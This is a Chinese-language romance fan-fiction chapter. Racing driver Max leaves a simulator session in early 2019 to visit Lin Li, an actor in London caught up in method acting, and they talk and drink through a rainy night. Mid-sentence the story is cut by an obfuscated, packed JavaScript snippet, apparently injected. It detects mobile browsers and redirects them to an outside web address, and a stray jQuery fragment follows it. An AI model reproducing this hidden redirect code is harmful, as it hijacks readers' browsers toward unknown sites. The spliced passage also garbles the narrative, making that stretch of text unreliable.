2019年1月初。


    米尔顿凯恩斯，红牛车队工厂。


    “这一圈的数据很完美，麦克斯。”耳机里传来车队工程师的声音，伴随着键盘敲击的脆响，“前轮的指向性看起来和风洞数据吻合了。新的本田引擎在低转速区间的扭矩响应很快，你处理得很干净。”


    麦克斯松开方向盘，长出了一口气。巨大的液压模拟器座舱缓缓停止了震动，液压泵的嘶嘶声在安静的房间里回荡。


    “还要再跑一组长距离吗？”工程师问道，“虽然已经跑了八个小时了。”


    “不，今天够了。”麦克斯摘下手套，意识逐渐从赛道回笼。


    他喜欢这里。


    虽然对于大多数车手来说，模拟器是枯燥的义务劳动。但麦克斯不讨厌它，甚至可以说是有点痴迷。在这里，复杂的赛车世界被简化成了最纯粹的物理公式。只要付出足够努力，机器就会给你最诚实的反馈。


    他从座舱里爬出来，身体因为长时间的固定姿势而有些僵硬。


    “那今天就到这里。”工程师在控制台收拾文件，“明天还要测轮胎衰减。”


    “嗯。”麦克斯抓起旁边的红牛灌了一口，拿起手机。


    屏幕上空空荡荡，没有他想看到的消息。最后一条还是他早上发的，向那个“专家”报告自己落地英国。没有回复。


    麦克斯盯着对话框，眉头微微皱起。


    在赛道上，如果前轮失去抓地力，他知道该怎么找回控制感。但如果那个把自己关在公寓里的家伙失去了信号，他该做什么？


    一种莫名的烦躁爬了上来，他痛恨无法掌握的事情。


    “我不回酒店。”麦克斯拿起外套，把车钥匙在手指上转了一圈，“明天上午见。”


    M1高速公路像一条黑色的动脉，在雨夜中向南延伸。雨刮器单调的摆动声催人入睡，麦克斯顺手调大了车内音响。


    伦敦，麦克斯对阴沉沉的地方没什么好印象。但现在，他脑子里全是这几个月两人断断续续的对话。


    他走了会神，想到酒吧里狡黠的林利，那一晚霓虹中的林利，分享日常的林利，圣诞夜还沉浸在角色的林利……那些碎片在后视镜掠过，最终指向同一个可恶的人。


    “方法派。”麦克斯在心里默念这个词。为了一个虚构的角色，把自己关在公寓，这听起来很蠢。但他想到刚跑完八小时模拟器的自己，笑了出声。他们其实是一类人。


    雨还在下。车停在一栋维多利亚风格的老公寓楼下。麦克斯拉上帽子，快步穿过街道，按响了门铃。


    过了很久，久到麦克斯开始怀疑自己走错地方，对讲机里终于传来了电流声。然后是那个熟悉的、带着点懒洋洋磁性的声音：“谁？” “红牛快递。”麦克斯对着听筒说。


    短暂的沉默，随后传来一声轻笑。门锁“嗒”地解开。


    麦克斯爬上三楼。站在那扇深绿色的木门前，竟然久违地感觉到了一丝紧张。


    门开了。冷白色的灯光从门缝里倾泻出来，照亮了麦克斯被雨水打湿的肩膀。


    麦克斯止住了呼吸。


    几个月没见，林利为什么还是这样让他心脏发热。他确实瘦了，下颌线像刀锋一样锐利，原本合身的黑色衬衫领口显得有些大，露出深陷的锁骨。


    相反，他的灰蓝色眼睛亮得吓人，燃烧着闪烁的光。麦克斯下意识紧了紧手指。


    “我以为你在开玩笑。”林利靠在门框，上下打量着麦克斯，“你真的来了，还在大半夜跑来伦敦。”


    麦克斯耸了耸肩：“我来找点乐子。”


    林利侧身让开路：“进来吧。不过我可没准备你的东西。”


    麦克斯走进客厅。即使他对装修毫无研究，也能看出来林利花了心思。挑高的天花板，复杂的石膏线，保养得极好的复古皮沙发孤零零地摆在中央，旁边是一盏乳白色意大利落地灯。胡桃木长桌上铺满了地图、画册和散乱的笔记。


    林利端着酒走过来，递给麦克斯一杯。指尖相触，温差顺着皮肤传导，两人都下意识地顿了一下，谁也没有先移开视线。


    “所以，”麦克斯清了清嗓子，“我发给你的上一条消息是十四小时前。你已读不回。”


    “我在忙。”林利回答得很敷衍，“你知道的，沉浸式创作。”


    麦克斯被他这种理直气壮惹笑了，他果然还是这么喜欢胡说八道。


    “忙着在这个冰窖里把自己关起来？”麦克斯哼笑一声，并没有被他的借口打发走。他向前迈了一步，逼近林利，“而且，你的手在抖。”


    “我没法关掉它。”林利承认得很干脆，“那个角色……蜘蛛疯子，他还在我身体里乱窜。我压不住他。”


    “那就别压。”麦克斯野蛮地鼓励，“给我看看，让你忙得没空回消息的家伙到底什么样。”


    林利看着麦克斯，肩膀微微塌陷下去，仿佛某种支撑他理智的骨架被抽走。


    他慢慢地、一步步地向麦克斯走近：“你感受到了吗？”他轻声问道，带着黏稠、拖沓的质感，“恐惧……它就像那些小东西，顺着你的血管往上爬……”


    他伸出手，冰凉的指尖死死扣住麦克斯的手腕。麦克斯血液跳动，本能地绷紧了前臂肌肉，一瞬间不知道该不该做出别的动作。


    林利凑得很近，鼻尖几乎要碰到麦克斯的嘴唇。


    他的瞳孔在灯光下放大，“只要你愿意献祭……”林利呢喃着，手指顺着麦克斯的手臂上滑，最后停在他的喉结上，轻轻摩挲，“圣灵就会充满你……就在这里。”


    麦克斯感觉自己被钉在了无形的祭坛上。林利的指尖像是某种仪式的刀锋，寸寸游移，将他的感官连同理智一同剖开。


    被划开、被审视，他是待宰的羔羊，心甘情愿地在这场疯狂的复活仪式中被彻底献祭。


    “天啊。”麦克斯晕乎乎地在心里赞叹，“这太迷人了。”


    “好了，这就是你看到的。”林利呼了口气，卸下劲，将身体的重量倚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159550|196580||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    向麦克斯。他的脸颊贴着麦克斯的颈窝，闭上眼，像在自言自语，“怎么样？”


    麦克斯收紧了手臂，让他靠得更稳。他的心跳还没有平复：“很精彩。该死的精彩。”


    林利笑了起来，睁开眼：“谢谢捧场。”他挣脱开麦克斯的搀扶，重新拿起桌上的酒杯，“为了这个评价，我觉得我们应该再喝一杯。”


    那瓶杜松子酒无声无息地下去了一半。伦敦的雨夜还在继续，室内却逐渐蒸腾起一股暧昧的热度。


    他们坐在地板上，话题从食物滑向电影，又从电影滑向赛车。林利的话变多了，他开始模仿导演的口音，抱怨剧组的咖啡像洗脚水。麦克斯大笑着补充自己在无线电里被“哔”掉的脏话，还有新加坡的高温座舱里喝了两小时烫水的狼狈。


    不知不觉间，两人的距离越来越近，那种仅存于电波里的默契悄悄落地。


    手机里由像素点组成的影子，在此刻严丝合缝地与现实重叠。慢慢地，酒精开始接管大脑，林利的坐姿变得不再那么笔直。


    “你知道吗……”林利晃着空了的杯子，看向麦克斯的眼神开始涣散，有些傻气地笑了：“你的短信很吵。真的很吵。”


    “是吗？”麦克斯也有些胀晕，但他比林利清醒得多。他看着眼前这个嘟嘟囔囔的家伙，觉得有趣极了，“那你还一直回复我。”


    “有时候……”林利念念有词，身体不受控制地歪了一下，“有时候，能让我开心一下。”


    麦克斯看着他倒向自己，挪了挪肩膀。林利身上清冽的苦橙味混合着杜松子酒气，在这个狭小的空间里不断发酵。


    “我讨厌虫子……”林利的声音越来越小，“我很怕虫子……”


    麦克斯忍不住笑了，伸手拿走林利手里摇摇欲坠的酒杯，“我知道。”他低声说，“我也是。”


    “嗯……那看来我们又找到一个共同点……”林利迷迷糊糊地往麦克斯怀里钻了钻，“好暖和……”


    麦克斯低下头，面前的人卸下了防备的刺，发梢无意间蹭过他的下巴，毛茸茸的触感像挠在他身上。


    “喂，林。”麦克斯伸手捏了捏，“别在地板上睡，会着凉。”


    没有回应。


    林利的呼吸变得绵长而均匀。他的头一点一点地滑落，重重地砸在麦克斯的大腿上。他睡着了。


    麦克斯叹了口气，嘴角却怎么也压不下来。


    这算什么？大半夜下着雨跑来伦敦，看了一场表演，聊了一会天？行吧，好像也不赖。


    他小心翼翼地把林利抱了起来，放在床上。


    麦克斯的手指顿了顿，犹豫了一下，还是伸手解开了林利衬衫上面的两颗扣子，让他能呼吸得顺畅些。


    卧室里很暗，只有窗外透进来的微光。


    麦克斯站在床边，看着此刻林利安静又脆弱的脸。


    不着急。


    麦克斯帮他掖好被角，和衣躺在一旁。他想，他有的是耐心。


    “晚安，林。”